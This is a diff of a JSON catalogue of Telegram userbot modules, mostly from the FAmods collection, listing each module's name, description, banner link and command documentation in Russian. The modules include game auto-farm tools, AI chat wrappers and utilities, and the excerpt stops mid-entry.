{ - "weathercity": { - "ru_doc": null, - "en_doc": null, - "doc": "Set default city for forecast" - } - }, - { - "weather": { - "ru_doc": null, - "en_doc": null, - "doc": "Current forecast for provided city" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "fajox1/famods/anonsms.py": { - "name": "AnonSMS", - "description": "Анонимное сообщение", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/anonsms.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "getanonlink": "Получить ссылку на получение анонимного сообщения" - }, - { - "anonsettings": "Настроят модуль" - } - ], - "new_commands": [ - { - "getanonlink": { - "ru_doc": null, - "en_doc": null, - "doc": "Получить ссылку на получение анонимного сообщения" - } - }, - { - "anonsettings": { - "ru_doc": null, - "en_doc": null, - "doc": "Настроят модуль" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "fajox1/famods/freegpt.py": { - "name": "FreeGPT", - "description": "Бесплатный ChatGPT. БЕЗ API. БЕЗ БОТОВ.", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/freegpt.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "gf": "Задать вопрос к ChatGPT" - }, - { - "gfi": "Сгенерировать картинку" - } - ], - "new_commands": [ - { - "gf": { - "ru_doc": null, - "en_doc": null, - "doc": "Задать вопрос к ChatGPT" - } - }, - { - "gfi": { - "ru_doc": null, - "en_doc": null, - "doc": "Сгенерировать картинку" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "fajox1/famods/pricefreedom.py": { - "name": "PriceFreedom", - "description": "Автоматизированная работа с @rabstvo_game_bot", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/pricefreedom.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "pfpromo": "Включить/выключить автоматически активирование промокода" - }, - { - "spfus": "Посмотреть профиль пользователя" - }, - { - "spfme": "Посмотреть свой профиль" - } - ], - "new_commands": [ - { - "pfpromo": { - "ru_doc": null, - "en_doc": null, - "doc": "Включить/выключить автоматически активирование промокода" - } - }, - { - "spfus": { - "ru_doc": null, - "en_doc": null, - "doc": "Посмотреть профиль пользователя" - } - }, - { - "spfme": { - "ru_doc": null, - "en_doc": null, - "doc": "Посмотреть свой профиль" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "fajox1/famods/fabrika.py": { - "name": "Fabrika", - "description": "Авто-фарм в @fabrika", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/fabrika.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "fbrw": "Включить/выключить автоматически давать работу работникам" - }, - { - "fbbonus": "Включить/выключить автоматическое получать бонус" - }, - { - "fbteam": "Включить/выключить автоматически отправлятся на комадную работу" - }, - { - "sprof": "Посмотреть свой профиль" - }, - { - "sidtg": "Посмотреть профиль пользователя через айди в тг" - }, - { - "sidfb": "Посмотреть профиль пользователя через айди в боте" - }, - { - "steamfb": "Посмотреть команду через айди" - } - ], - "new_commands": [ - { - "fbrw": { - "ru_doc": null, - "en_doc": null, - "doc": "Включить/выключить автоматически давать работу работникам" - } - }, - { - "fbbonus": { - "ru_doc": null, - "en_doc": null, - "doc": "Включить/выключить автоматическое получать бонус" - } - }, - { - "fbteam": { - "ru_doc": null, - "en_doc": null, - "doc": "Включить/выключить автоматически отправлятся на комадную работу" - } - }, - { - "sprof": { - "ru_doc": null, - "en_doc": null, - "doc": "Посмотреть свой профиль" - } - }, - { - "sidtg": { - "ru_doc": null, - "en_doc": null, - "doc": "Посмотреть профиль пользователя через айди в тг" - } - }, - { - "sidfb": { - "ru_doc": null, - "en_doc": null, - "doc": "Посмотреть профиль пользователя через айди в боте" - } - }, - { - "steamfb": { - "ru_doc": null, - "en_doc": null, - "doc": "Посмотреть команду через айди" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "fajox1/famods/cryptoqr.py": { - "name": "CryptoQR", - "description": "Создание QR код в стиле CryptoBot", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/cryptoqr.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "cqr": "Создать QRcode" - } - ], - "new_commands": [ - { - "cqr": { - "ru_doc": null, - "en_doc": null, - "doc": "Создать QRcode" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "fajox1/famods/vaper.py": { - "name": "Vaper", - "description": "Авто-фарм в @vapeusebot", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/vaper.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "vape": "Включить/выключить авто-фарм" - }, - { - "vp": "Посмотреть свой профиль" - }, - { - "vtop": "Посмотреть топ" - } - ], - "new_commands": [ - { - "vape": { - "ru_doc": null, - "en_doc": null, - "doc": "Включить/выключить авто-фарм" - } - }, - { - "vp": { - "ru_doc": null, - "en_doc": null, - "doc": "Посмотреть свой профиль" - } - }, - { - "vtop": { - "ru_doc": null, - "en_doc": null, - "doc": "Посмотреть топ" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "fajox1/famods/stats.py": { - "name": "Stats", - "description": "Показывает статистику твоего аккаунта", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/stats.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "stats": "Получить статистику" + "statscmd": "Показать статистику сообщений" } ], "new_commands": [ @@ -36705,7 +43848,7 @@ "stats": { "ru_doc": null, "en_doc": null, - "doc": "Получить статистику" + "doc": "Показать статистику сообщений" } } ], @@ -36714,136 +43857,61 @@ "Fun" ] }, - "fajox1/famods/removebg.py": { - "name": "RemoveBG", - "description": "Убрать фон из изображения", + "Ijidishurka/modules/MonacoFarm.py": { + "name": "FarmMonacoMod", + "description": "Модуль для автоматического фарминга в игровом боте @MonacoGamebot", "meta": { "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/removebg.png?raw=true", - "developer": "@FAmods" + "banner": null, + "developer": "@modwini" }, "commands": [ { - "removebg": "Убрать фон из изображения" + "farmcmd": "Запустить автоматический фарминг в боте" + }, + { + "stopcmd": "Остановить автоматический фарминг в боте" } ], "new_commands": [ { - "removebg": { + "farm": { "ru_doc": null, "en_doc": null, - "doc": "Убрать фон из изображения" + "doc": "Запустить автоматический фарминг в боте" + } + }, + { + "stop": { + "ru_doc": null, + "en_doc": null, + "doc": "Остановить автоматический фарминг в боте" } } ], "category": [ - "Chat", - "Tools" + "Tools", + "Chat" ] }, - "fajox1/famods/gigachat.py": { - "name": "GigaChat", - "description": "GigaChat AI. БЕЗ АПИ", + "Ijidishurka/modules/rand.py": { + "name": "кругляш", + "description": "Подпишись на канал @modwini", "meta": { "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/gigachat.png?raw=true", - "developer": "@FAmods" + "banner": null }, "commands": [ { - "ggchat": "Задать вопрос к GigaChat" + "krcmd": "Кидает рандом видео сообщение из канала @kruglishik" } ], "new_commands": [ { - "ggchat": { + "kr": { "ru_doc": null, "en_doc": null, - "doc": "Задать вопрос к GigaChat" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "fajox1/famods/evalaliases.py": { - "name": "EvalAliases", - "description": "Алиаси для eval", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/evalaliases.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "addea": "Добавить алиас" - }, - { - "removea": "Удалить алиас" - }, - { - "getea": "Получить список алиасов для Eval" - } - ], - "new_commands": [ - { - "addea": { - "ru_doc": null, - "en_doc": null, - "doc": "Добавить алиас" - } - }, - { - "removea": { - "ru_doc": null, - "en_doc": null, - "doc": "Удалить алиас" - } - }, - { - "getea": { - "ru_doc": null, - "en_doc": null, - "doc": "Получить список алиасов для Eval" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "fajox1/famods/ytsearch.py": { - "name": "YTsearch", - "description": "Поиск в Youtube", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/ytsearch.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "ytvsearch": "Поиск видео в Youtube" - }, - { - "ytcsearch": "Поиск каналов в Youtube" - } - ], - "new_commands": [ - { - "ytvsearch": { - "ru_doc": null, - "en_doc": null, - "doc": "Поиск видео в Youtube" - } - }, - { - "ytcsearch": { - "ru_doc": null, - "en_doc": null, - "doc": "Поиск каналов в Youtube" + "doc": "Кидает рандом видео сообщение из канала @kruglishik" } } ], @@ -36852,5784 +43920,50 @@ "Media" ] }, - "fajox1/famods/proxy.py": { - "name": "Proxy", - "description": "Работа с прокси", + "Sad0ff/modules-ftg/DownloadYT.py": { + "name": "DownloadYTMod", + "description": "DownloadYT", "meta": { "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/proxy.png?raw=true", - "developer": "@FAmods" + "banner": null }, "commands": [ { - "gproxy": "Получить рандомное прокси" - }, - { - "wproxy": "Проверить работу прокси" + "dytcmd": "отправляет видеов чат по ссылке из ютуба\n@offsd подпишись-пожалеешь" } ], "new_commands": [ { - "gproxy": { + "dyt": { "ru_doc": null, "en_doc": null, - "doc": "Получить рандомное прокси" - } - }, - { - "wproxy": { - "ru_doc": null, - "en_doc": null, - "doc": "Проверить работу прокси" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "fajox1/famods/infoip.py": { - "name": "InfoIP", - "description": "Информация об IP адресе", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/infoip.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "ipi": "Информация об IP" - } - ], - "new_commands": [ - { - "ipi": { - "ru_doc": null, - "en_doc": null, - "doc": "Информация об IP" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "fajox1/famods/banforaskmod.py": { - "name": "BanForAskMod", - "description": "Бан за просьбу дать модулей", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/banforaskmod.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "bfmsettings": "Открыть настройку модуля" - } - ], - "new_commands": [ - { - "bfmsettings": { - "ru_doc": null, - "en_doc": null, - "doc": "Открыть настройку модуля" - } - } - ], - "category": [ - "Tools", - "Info" - ] - }, - "fajox1/famods/requirements.py": { - "name": "Requirements", - "description": "Работа с pip пакетами в модуле", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/requirements.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "dldeps": "Установить pip пакеты с модуля" - }, - { - "uldeps": "Удалить pip пакеты с модуля" - }, - { - "deps": "Посмотреть pip пакеты с модуля" - } - ], - "new_commands": [ - { - "dldeps": { - "ru_doc": null, - "en_doc": null, - "doc": "Установить pip пакеты с модуля" - } - }, - { - "uldeps": { - "ru_doc": null, - "en_doc": null, - "doc": "Удалить pip пакеты с модуля" - } - }, - { - "deps": { - "ru_doc": null, - "en_doc": null, - "doc": "Посмотреть pip пакеты с модуля" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "fajox1/famods/gemini.py": { - "name": "Gemini", - "description": "Взаимодействие с AI Gemini", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/gemini.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "gemini": "Задать вопрос к Gemini" - } - ], - "new_commands": [ - { - "gemini": { - "ru_doc": null, - "en_doc": null, - "doc": "Задать вопрос к Gemini" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "fajox1/famods/tonscan.py": { - "name": "Tonscan", - "description": "Информация о TON адресе", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/tonscan.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "tonwallet": "Информация о TON кошельке" - }, - { - "tonjetton": "Информация о TON токене" - }, - { - "tonnftcol": "Информация о TON NFT коллекции" - }, - { - "tonnft": "Информация о TON NFT" - } - ], - "new_commands": [ - { - "tonwallet": { - "ru_doc": null, - "en_doc": null, - "doc": "Информация о TON кошельке" - } - }, - { - "tonjetton": { - "ru_doc": null, - "en_doc": null, - "doc": "Информация о TON токене" - } - }, - { - "tonnftcol": { - "ru_doc": null, - "en_doc": null, - "doc": "Информация о TON NFT коллекции" - } - }, - { - "tonnft": { - "ru_doc": null, - "en_doc": null, - "doc": "Информация о TON NFT" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "fajox1/famods/faker.py": { - "name": "Faker", - "description": "Генерация фейк информации", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/faker.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "gfake": "Сгенерировать фейк информацию" - } - ], - "new_commands": [ - { - "gfake": { - "ru_doc": null, - "en_doc": null, - "doc": "Сгенерировать фейк информацию" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "fajox1/famods/fabusiness.py": { - "name": "FAbusiness", - "description": "Бесплатный Telegram business", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/fabusiness.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "business": "Включить/выключить FAbusiness" - }, - { - "bsettings": "Настройка FAbusiness" - } - ], - "new_commands": [ - { - "business": { - "ru_doc": null, - "en_doc": null, - "doc": "Включить/выключить FAbusiness" - } - }, - { - "bsettings": { - "ru_doc": null, - "en_doc": null, - "doc": "Настройка FAbusiness" + "doc": "отправляет видеов чат по ссылке из ютуба\n@offsd подпишись-пожалеешь" } } ], "category": [ "Chat", - "Tools" - ] - }, - "fajox1/famods/picme.py": { - "name": "PicMe", - "description": "Кринж модуль", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/picme.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "picme": "Включить/выключить режим пикми" - } - ], - "new_commands": [ - { - "picme": { - "ru_doc": null, - "en_doc": null, - "doc": "Включить/выключить режим пикми" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "fajox1/famods/hetsu.py": { - "name": "Hetsu", - "description": "Search and install modules easily.", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/hetsu.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "hetsucmd": "Search module" - } - ], - "new_commands": [ - { - "hetsu": { - "ru_doc": null, - "en_doc": null, - "doc": "Search module" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "fajox1/famods/executor.py": { - "name": "Executor", - "description": "Выполнение python кода", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/executor.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "execcmd": "Выполнить python код" - } - ], - "new_commands": [ - { - "exec": { - "ru_doc": null, - "en_doc": null, - "doc": "Выполнить python код" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "fajox1/famods/chmodslist.py": { - "name": "CHmodsList", - "description": "Список каналов с модулями (идея: @codrago)", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/chmodslist.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "chsettings": "Изменить список каналов с модулями" - }, - { - "chmods": "Посмотреть список каналов с модулями" - } - ], - "new_commands": [ - { - "chsettings": { - "ru_doc": null, - "en_doc": null, - "doc": "Изменить список каналов с модулями" - } - }, - { - "chmods": { - "ru_doc": null, - "en_doc": null, - "doc": "Посмотреть список каналов с модулями" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "fajox1/famods/bigmac.py": { - "name": "BigMac", - "description": "Авто-фарм в @BigMacMetreBot", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/bigmac.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "bigmacs": "Включить/выключить авто-фарм" - }, - { - "bp": "Посмотреть свой профиль" - }, - { - "btop": "Посмотреть топ" - } - ], - "new_commands": [ - { - "bigmacs": { - "ru_doc": null, - "en_doc": null, - "doc": "Включить/выключить авто-фарм" - } - }, - { - "bp": { - "ru_doc": null, - "en_doc": null, - "doc": "Посмотреть свой профиль" - } - }, - { - "btop": { - "ru_doc": null, - "en_doc": null, - "doc": "Посмотреть топ" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "fajox1/famods/famods_socket.py": { - "name": "FAmodsSocket", - "description": "Установка модулей через @FAmods_Bot", - "meta": { - "pic": null, - "banner": null, - "developer": "@FAmods" - }, - "commands": [], - "new_commands": [], - "category": [ - "Fun", - "Tools" - ] - }, - "fajox1/famods/timer.py": { - "name": "Timer", - "description": "Показывает сколько времени осталось", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/timer.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "stime": "Посмотреть сколько осталось времени" - } - ], - "new_commands": [ - { - "stime": { - "ru_doc": null, - "en_doc": null, - "doc": "Посмотреть сколько осталось времени" - } - } - ], - "category": [ - "Tools", "Productivity" ] }, - "fajox1/famods/wakatime.py": { - "name": "Wakatime", - "description": "Показывает твою Wakatime статистику", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/wakatime.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "waka": "Посмотреть свою статистику в Wakatime" - } - ], - "new_commands": [ - { - "waka": { - "ru_doc": null, - "en_doc": null, - "doc": "Посмотреть свою статистику в Wakatime" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "fajox1/famods/tondns.py": { - "name": "TonDNS", - "description": "Модуль для работы с Ton DNS", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/tondns.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "itondns": "Информация о TON DNS" - }, - { - "tonshot": "Скриншот TON DNS сайта" - } - ], - "new_commands": [ - { - "itondns": { - "ru_doc": null, - "en_doc": null, - "doc": "Информация о TON DNS" - } - }, - { - "tonshot": { - "ru_doc": null, - "en_doc": null, - "doc": "Скриншот TON DNS сайта" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "fajox1/famods/avachanger.py": { - "name": "AvaChanger", - "description": "Смена аватарки по времени", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/avachanger.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "avatarl": "Смена аватарки по времени" - }, - { - "avatarl_stop": "Выключить смену аватарки по времени" - } - ], - "new_commands": [ - { - "avatarl": { - "ru_doc": null, - "en_doc": null, - "doc": "Смена аватарки по времени" - } - }, - { - "avatarl_stop": { - "ru_doc": null, - "en_doc": null, - "doc": "Выключить смену аватарки по времени" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "fajox1/famods/epsilion.py": { - "name": "Epsilion", - "description": "Авто-фарм в @EpsilionWarBot", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/epsilion.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "eps": "Включить/выключить авто-фарм" - }, - { - "epb": "Включить/выключить авто ежедневный бонус" - }, - { - "epp": "Посмотреть свой профиль" - } - ], - "new_commands": [ - { - "eps": { - "ru_doc": null, - "en_doc": null, - "doc": "Включить/выключить авто-фарм" - } - }, - { - "epb": { - "ru_doc": null, - "en_doc": null, - "doc": "Включить/выключить авто ежедневный бонус" - } - }, - { - "epp": { - "ru_doc": null, - "en_doc": null, - "doc": "Посмотреть свой профиль" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "fajox1/famods/checkhost.py": { - "name": "CheckHost", - "description": "Проверка доступности веб-сайтов, серверов, хостов и IP-адресов с разных геолокаций и тд.", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/checkhost.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "chhttp": "Проверить доступность" - } - ], - "new_commands": [ - { - "chhttp": { - "ru_doc": null, - "en_doc": null, - "doc": "Проверить доступность" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "fajox1/famods/fun.py": { - "name": "Fun", - "description": "Module for fun...", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/fun.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "hacku": "Взлом пользователя" - }, - { - "hackp": "Взлом пентагона" - }, - { - "ftype": "Печатать текст" - } - ], - "new_commands": [ - { - "hacku": { - "ru_doc": null, - "en_doc": null, - "doc": "Взлом пользователя" - } - }, - { - "hackp": { - "ru_doc": null, - "en_doc": null, - "doc": "Взлом пентагона" - } - }, - { - "ftype": { - "ru_doc": null, - "en_doc": null, - "doc": "Печатать текст" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "fajox1/famods/famod.py": { - "name": "Famod", - "description": "Управление вещами, связанными с @FAmods_Bot", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/famod.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "fmstats": "Просмотр статистики" - }, - { - "fmsearch": "Поиск модуля" - } - ], - "new_commands": [ - { - "fmstats": { - "ru_doc": null, - "en_doc": null, - "doc": "Просмотр статистики" - } - }, - { - "fmsearch": { - "ru_doc": null, - "en_doc": null, - "doc": "Поиск модуля" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "fajox1/famods/hbotcommand.py": { - "name": "HbotCommand", - "description": "Дополнительная команда для твоего inline бота", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/hbotcommand.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "busername": "Посмотреть юзернейм бота" - }, - { - "bcsettings": "Настройка команды бота" - } - ], - "new_commands": [ - { - "busername": { - "ru_doc": null, - "en_doc": null, - "doc": "Посмотреть юзернейм бота" - } - }, - { - "bcsettings": { - "ru_doc": null, - "en_doc": null, - "doc": "Настройка команды бота" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "fajox1/famods/autogh.py": { - "name": "AutoGH", - "description": "Авто-коммиты в Github", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/autogh.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "autocommit": "Включить/выключить автоматический коммит" - } - ], - "new_commands": [ - { - "autocommit": { - "ru_doc": null, - "en_doc": null, - "doc": "Включить/выключить автоматический коммит" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "fajox1/famods/giveaways.py": { - "name": "Giveaways", - "description": "Авто-участие в розыгрышах Telegram Premium", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/giveaways.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "gwtg": "Включить/выключить автоматическое участие в розыгрышах Telegram Premium" - } - ], - "new_commands": [ - { - "gwtg": { - "ru_doc": null, - "en_doc": null, - "doc": "Включить/выключить автоматическое участие в розыгрышах Telegram Premium" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "fajox1/famods/telegrapher.py": { - "name": "Telegrapher", - "description": "Создание статей и другое связанное с telegra.ph", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/telegrapher.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "tghpost": "Выложить статью в telegra.ph" - }, - { - "tghup": "Выложить медиа в telegra.ph" - } - ], - "new_commands": [ - { - "tghpost": { - "ru_doc": null, - "en_doc": null, - "doc": "Выложить статью в telegra.ph" - } - }, - { - "tghup": { - "ru_doc": null, - "en_doc": null, - "doc": "Выложить медиа в telegra.ph" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "fajox1/famods/phoneinfo.py": { - "name": "PhoneInfo", - "description": "Информация о телефоне", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/phoneinfo.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "pnsearch": "Поиск телефона" - }, - { - "pninfo": "Получить информацию о телефоне" - } - ], - "new_commands": [ - { - "pnsearch": { - "ru_doc": null, - "en_doc": null, - "doc": "Поиск телефона" - } - }, - { - "pninfo": { - "ru_doc": null, - "en_doc": null, - "doc": "Получить информацию о телефоне" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "fajox1/famods/gsearch.py": { - "name": "Gsearch", - "description": "Поиск в Google", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/gsearch.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "gsearch": "Поиск в Google" - } - ], - "new_commands": [ - { - "gsearch": { - "ru_doc": null, - "en_doc": null, - "doc": "Поиск в Google" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "fajox1/famods/edmes.py": { - "name": "Edmes", - "description": "Редактирует сообщение с заданим текстом.", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/edmes.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "edmsg": "Редактировать" - } - ], - "new_commands": [ - { - "edmsg": { - "ru_doc": null, - "en_doc": null, - "doc": "Редактировать" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "fajox1/famods/hetalib.py": { - "name": "HetaLib", - "description": "Модуль для работы с heta", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/hetalib.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "hsearch": "Поиск модуля в heta" - }, - { - "decode_hhash": "Декодировать heta hash" - }, - { - "mods_repo": "Получить модули с репозитория" - } - ], - "new_commands": [ - { - "hsearch": { - "ru_doc": null, - "en_doc": null, - "doc": "Поиск модуля в heta" - } - }, - { - "decode_hhash": { - "ru_doc": null, - "en_doc": null, - "doc": "Декодировать heta hash" - } - }, - { - "mods_repo": { - "ru_doc": null, - "en_doc": null, - "doc": "Получить модули с репозитория" - } - } - ], - "category": [ - "Tools", - "Info" - ] - }, - "fajox1/famods/xrocket.py": { - "name": "xRocket", - "description": "Автоматизация базового функционала @xRocket", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/xrocket.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "xwallet": "Посмотреть кошелёк" - }, - { - "xinvoice": "Создать счёт" - }, - { - "xcheck": "Создать чек" - } - ], - "new_commands": [ - { - "xwallet": { - "ru_doc": null, - "en_doc": null, - "doc": "Посмотреть кошелёк" - } - }, - { - "xinvoice": { - "ru_doc": null, - "en_doc": null, - "doc": "Создать счёт" - } - }, - { - "xcheck": { - "ru_doc": null, - "en_doc": null, - "doc": "Создать чек" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "fajox1/famods/CodeBase64.py": { - "name": "CodeBase64", - "description": "Encode and decode base64", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/CodeBase64.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "cbase64": "Кодирование в base64" - }, - { - "dbase64": "Декодирование из base64" - } - ], - "new_commands": [ - { - "cbase64": { - "ru_doc": null, - "en_doc": null, - "doc": "Кодирование в base64" - } - }, - { - "dbase64": { - "ru_doc": null, - "en_doc": null, - "doc": "Декодирование из base64" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "fajox1/famods/grokai.py": { - "name": "GrokAI", - "description": "Взаимодействие с Grok AI", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/grokai.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "grok": "Задать вопрос к Grok" - } - ], - "new_commands": [ - { - "grok": { - "ru_doc": null, - "en_doc": null, - "doc": "Задать вопрос к Grok" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "fajox1/famods/spotify4ik.py": { - "name": "Spotify4ik", - "description": "Слушай музыку в Spotify", - "meta": { - "pic": null, - "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/spotify4ik.png?raw=true", - "developer": "@FAmods" - }, - "commands": [ - { - "spauth": "Войти в свой аккаунт" - }, - { - "spcode": "Ввести код авторизации" - }, - { - "sppause": "Поставить на паузу текущий трек" - }, - { - "spplay": "Воспроизвести текущий трек" - }, - { - "spbegin": "Включить текущий трек с начала" - }, - { - "spback": "Включить предыдущий трек" - }, - { - "spnext": "Включить следующий трек" - }, - { - "spbio": "Включить/выключить стрим текущего трека в био" - }, - { - "spbiochannel": "Включить/выключить стрим текущего трека в канале в био" - }, - { - "splike": "Лайкнуть текущий трек" - }, - { - "sprepeat": "Повторить текущий трек" - }, - { - "spnorepeat": "Перестать повторять текущий трек" - }, - { - "spnow": "Текущий трек" - } - ], - "new_commands": [ - { - "spauth": { - "ru_doc": null, - "en_doc": null, - "doc": "Войти в свой аккаунт" - } - }, - { - "spcode": { - "ru_doc": null, - "en_doc": null, - "doc": "Ввести код авторизации" - } - }, - { - "sppause": { - "ru_doc": null, - "en_doc": null, - "doc": "Поставить на паузу текущий трек" - } - }, - { - "spplay": { - "ru_doc": null, - "en_doc": null, - "doc": "Воспроизвести текущий трек" - } - }, - { - "spbegin": { - "ru_doc": null, - "en_doc": null, - "doc": "Включить текущий 